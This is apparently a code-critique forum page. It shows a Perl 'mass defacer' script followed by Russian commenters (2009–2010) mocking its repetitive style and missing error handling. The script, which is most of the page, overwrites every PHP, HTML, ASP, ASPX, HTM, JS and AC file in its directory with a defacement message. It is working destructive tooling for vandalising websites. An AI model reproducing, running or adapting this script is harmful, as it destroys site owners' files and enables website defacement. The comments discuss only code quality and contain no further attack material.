- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
#!/usr/bin/perl -w
#Masss Defacer v2.0
# Coded By illuz1oN
# Creditz - Nostur
$def = 'YOUR LAME DEFACE PAGE HERE =)';
{ print "[+]DEFACING...\n";
print"[+]DEFACING .PHP FILES...\n";
my @php = glob("*.php"); #Files
foreach my $deface(@php){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .HTML FILES...\n";
my @html = glob("*.html"); #Files
foreach my $deface(@html){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .ASP FILES...\n";
my @asp = glob("*.asp"); #Files
foreach my $deface(@asp){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .ASPX FILES...\n";
my @aspx = glob("*.aspx"); #Files
foreach my $deface(@aspx){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .HTM FILES...\n";
my @htm = glob("*.htm"); #Files
foreach my $deface(@htm){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .JS FILES...\n";
my @js = glob("*.js"); #Files
foreach my $deface(@js){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .AC FILES...\n";
my @ac = glob("*.ac"); #Files
foreach my $deface(@ac){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
}
print "[+]Pages Should Be Defaced!\n";
}
#Coded By illuz1oN
#Credits - Nostur!
guest 23.02.2009 15:51 # −2
Не говнокод. Обычный Perl, как на нем писали в начале 90-х. Разве что можно было перезапись файла в отдельный sub оформить.
guest 17.04.2009 12:06 # +3
Говнокод!!!!
>open(DEFACE, '>', $deface)
мдоооо...
Интересно, нахрен придумали $_
>open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Fxcked up: $!\n";
close(DEFACE)
это ваще песдец, чуть не уссался.
нет обработки ошибки открытия дескриптора.
т.е. если не открыть, нахрена колдовать над закрытым дескриптором - i.e. close(DEFACE);
надо next делать.
ужость в общем. =\\\
Капча согласна: 19861
guest 14.10.2009 12:38 # 0
Чтобы говнокодеры могли писать невразумительный говнокод с его использованием.
> это ваще песдец, чуть не уссался.
> нет обработки ошибки открытия дескриптора.
В такой мелкой утилитке это и не надо. Не открылось - последующий print не сможет записать в дескриптор, и close не сможет закрыть файл, но это никого не колышет.
В общем, говнокод средненький. Каменты более показательны.
motzi 02.12.2009 19:51 # 0
ichesnokov 27.02.2010 21:54 # 0
guest 05.06.2010 21:20 # 0
Цикл и/или sub - самоочевидно, вот и не о чём говорить.
А появляются такие монстры обычно уже при поддержке - копипаста в ответ на "а ещё вот такие файлы".
ichesnokov 14.06.2010 21:49 # 0